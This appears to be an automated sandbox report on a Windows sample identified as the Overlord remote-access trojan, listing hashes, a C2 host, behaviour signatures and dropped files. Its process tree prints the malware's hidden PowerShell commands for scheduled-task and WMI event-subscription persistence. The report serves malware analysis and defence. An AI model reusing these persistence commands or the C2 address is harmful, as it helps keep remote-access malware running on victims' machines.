Overview

overview

10

Static

static

10

agent-wind...64.exe

windows10-2004-x64

10

agent-wind...64.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/10/2026, 19:55

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General

  • Target
    agent-windows-amd64.exe
  • Size 10.5MB
  • Sample261005-ym55gsbc92
  • SHA256 80a1dc7015617f30d8b825eff3c015343140059913ad58ab12059160cb2ae6a4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
discoveryexecutionoverlordpersistenceprivilege_escalationrat

Malware Config

Extracted

Family

  • overlord

C2

  • minecraftserver575d-49536.portmap.host:49536

Signatures

  • Family: Overlord

    Overlord is an open-source Windows RAT written in Golang.

    ratoverlord
  • Detects Overlord RAT 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 3 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\agent-windows-amd64.exe
    "C:\Users\Admin\AppData\Local\Temp\agent-windows-amd64.exe"
    1⤵
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:4012
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_3d739f2061b3.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_4a79b6cb' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2132
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_3d739f2061b3.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_3d739f2061b3.exe"
    1⤵
    • Creates a file in the Startup directory
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_3d739f2061b3.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_4a79b6cb' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f4a79b6cb'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c4a79b6cb'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_3d739f2061b3.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f4a79b6cb'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c4a79b6cb'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      PID:224

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d360e7757b31e2a2d9725935b6c8b72fde8c7007f59f121f1dd31c3d3c49a4b7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_33dlhzkf.skm.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_33dlhzkf.skm.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        agent-3126780797.tmp
        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-3126780797.tmp
        • Size 10.5MB
        • SHA256 80a1dc7015617f30d8b825eff3c015343140059913ad58ab12059160cb2ae6a4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/2132-11-0x0000022F55C90000-0x0000022F55CB2000-memory.dmp
        Download

        memory/2132-9-0x0000022F3BA10000-0x0000022F3BA20000-memory.dmp
        Download

        memory/2132-10-0x0000022F3BA10000-0x0000022F3BA20000-memory.dmp
        Download

        memory/3284-47-0x00007FF607730000-0x00007FF60A28A000-memory.dmp
        Download

        memory/4012-48-0x00007FF685B40000-0x00007FF68869A000-memory.dmp
        Download

        memory/4012-49-0x00007FF685B40000-0x00007FF68869A000-memory.dmp
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        memory/4012-51-0x00007FF685B40000-0x00007FF68869A000-memory.dmp
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        memory/4012-52-0x00007FF685B40000-0x00007FF68869A000-memory.dmp
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        memory/4012-54-0x00007FF685B40000-0x00007FF68869A000-memory.dmp
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        memory/4012-57-0x00007FF685B40000-0x00007FF68869A000-memory.dmp
        Download

        memory/4012-60-0x00007FF685B40000-0x00007FF68869A000-memory.dmp
        Download